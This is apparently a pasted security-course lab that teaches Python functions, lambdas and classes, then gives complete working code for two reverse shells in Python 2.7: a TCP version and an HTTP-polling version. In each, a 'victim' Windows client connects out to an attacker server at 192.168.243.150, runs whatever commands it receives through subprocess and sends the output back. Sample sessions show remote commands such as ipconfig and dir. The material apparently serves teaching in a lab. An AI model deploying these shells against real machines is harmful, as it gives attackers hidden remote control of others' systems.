- In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
- Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
- Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
- Run and see all the functions work together!
- ---------------------------Type these commands-----------------------------------
- def list_benefits():
- benefits_list = ["More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"]
- return benefits_list
- def build_sentence(benefit):
- return "%s is a benefit of functions!" % benefit
- def name_the_benefits_of_functions():
- list_of_benefits = list_benefits()
- for benefit in list_of_benefits:
- print(build_sentence(benefit))
- name_the_benefits_of_functions()
- --------------------------------------------------------------------------------
- ##########################
- # Python Lambda Function #
- ##########################
- Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
- lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
- Let’s take an example:
- Consider a function multiply()
- def multiply(x, y):
- return x * y
- This function is too small, so let’s convert it into a lambda function.
- To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
- ---------------------------Type these commands-----------------------------------
- >>> r = lambda x, y: x * y
- >>> r(12,3)
- 36
- -----------------------------------------------------------------------
- Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
- You don’t need to assign lambda function to a variable.
- ---------------------------Type these commands-----------------------------------
- >>> (lambda x, y: x * y)(3,4)
- 12
- -----------------------------------------------------------------------
- Note that lambda function can’t contain more than one expression.
- ##################
- # Python Classes #
- ##################
- ****************
- * Introduction *
- ****************
- Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
- You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
- ***********************
- * Real World Examples *
- ***********************
- This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
- Start off by thinking about a web vuln scanner.
- What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
- So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
- ******************
- * A Python Class *
- ******************
- Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
- ---------------------------Type these commands-----------------------------------
- $ python
- >>> class WebVulnScanner(object):
- make = 'Acunetix'
- model = '10.5'
- year = '2014'
- version ='Consultant Edition'
- profile = 'High Risk'
- def crawling(self, speed):
- print("Crawling at %s" % speed)
- def scanning(self, speed):
- print("Scanning at %s" % speed)
- --------------------------------------------------------------------------------
- Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put the object there because it's the base of all other classes.
- From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
- *****************
- * Using A Class *
- *****************
- You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
- ---------------------------Type This-----------------------------------
- >>> myscanner = WebVulnScanner()
- -----------------------------------------------------------------------
- That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
- Get your scanner object to print out its make and model.
- ---------------------------Type This-----------------------------------
- >>> print("%s %s" % (myscanner.make, myscanner.model))
- -----------------------------------------------------------------------
- The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
- ---------------------------Type This-----------------------------------
- >>> myscanner.scanning('10req/sec')
- -----------------------------------------------------------------------
- What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
- ---------------------------Type This-----------------------------------
- >>> print("The profile of my scanner settings is %s" % myscanner.profile)
- >>> myscanner.profile = "default"
- >>> print("The profile of my scanner settings is %s" % myscanner.profile)
- -----------------------------------------------------------------------
- Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
- ---------------------------Type This-----------------------------------
- >>> mynewscanner = WebVulnScanner()
- >>> print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
- -----------------------------------------------------------------------
- That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
- ###############################
- # Reverse Shell in Python 2.7 #
- ###############################
- We'll create 2 python files. One for the server and one for the client.
- - Below is the python code that is running on victim/client Windows machine:
- ---------------------------Paste This-----------------------------------
- # Client
- import socket # For Building TCP Connection
- import subprocess # To start the shell in the system
- def connect():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(('192.168.243.150',8080))
- while True: #keep receiving commands
- command = s.recv(1024)
- if 'terminate' in command:
- s.close() #close the socket
- break
- else:
- CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- s.send( CMD.stdout.read() ) # send the result
- s.send( CMD.stderr.read() ) # incase you mistyped a command.
- # we will send back the error
- def main ():
- connect()
- main()
- ----------------------------------------------------------------------
- - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
- ---------------------------Paste This-----------------------------------
- # Server
- import socket # For Building TCP Connection
- def connect ():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(("192.168.243.150", 8080))
- s.listen(1)
- conn, addr = s.accept()
- print '[+] We got a connection from: ', addr
- while True:
- command = raw_input("Shell> ")
- if 'terminate' in command:
- conn.send('termminate')
- conn.close() # close the connection with host
- break
- else:
- conn.send(command) #send command
- print conn.recv(1024)
- def main ():
- connect()
- main()
- ----------------------------------------------------------------------
- - First run server.py code from Ubuntu machine. From command line type:
- ---------------------------Type This-----------------------------------
- python server.py
- ----------------------------------------------------------------------
- - then check if 8080 port is open, and if we are listening on 8080:
- ---------------------------Type This-----------------------------------
- netstat -antp | grep "8080"
- ----------------------------------------------------------------------
- - Then on victim ( Windows ) unit run client.py code.
- - Connection will be established, and you will get a shell on Ubuntu:
- ---------------------------Type This-----------------------------------
- infosecaddicts@ubuntu:~$ python server.py
- [+] We got a connection from: ('192.168.243.1', 56880)
- Shell> arp -a
- Shell> ipconfig
- Shell> dir
- ----------------------------------------------------------------------
- ##########################################
- # HTTP based reverse shell in Python 2.7 #
- ##########################################
- - The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
- - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
- Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
- - Install requests package:
- ---------------------------Type This-----------------------------------
- python -m pip install requests
- ----------------------------------------------------------------------
- - Copy and paste below code into client_http.py on your Windows machine:
- - In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
- ---------------------------Paste This-----------------------------------
- # Client
- import requests
- import subprocess
- import time
- while True:
- req = requests.get('http://192.168.243.150')
- command = req.text
- if 'terminate' in command:
- break
- else:
- CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
- post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
- time.sleep(3)
- ----------------------------------------------------------------------
- - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
- ---------------------------Paste This-----------------------------------
- import BaseHTTPServer
- HOST_NAME = '192.168.243.150'
- PORT_NUMBER = 80
- class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
- def do_GET(s):
- command = raw_input("Shell> ")
- s.send_response(200)
- s.send_header("Content-type", "text/html")
- s.end_headers()
- s.wfile.write(command)
- def do_POST(s):
- s.send_response(200)
- s.end_headers()
- length = int(s.headers['Content-Length'])
- postVar = s.rfile.read(length)
- print postVar
- if __name__ == '__main__':
- server_class = BaseHTTPServer.HTTPServer
- httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
- try:
- httpd.serve_forever()
- except KeyboardInterrupt:
- print'[!] Server is terminated'
- httpd.server_close()
- ----------------------------------------------------------------------
- - run server_HTTP.py on Ubuntu with next command:
- ---------------------------Type This-----------------------------------
- infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
- ----------------------------------------------------------------------
- - on Windows machine run client_http.py
- - on Ubuntu you will see that connection is established:
- ---------------------------Type This-----------------------------------
- infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
- Shell> dir
- ----------------------------------------------------------------------
- 192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
- 192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
- Volume in drive C has no label.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement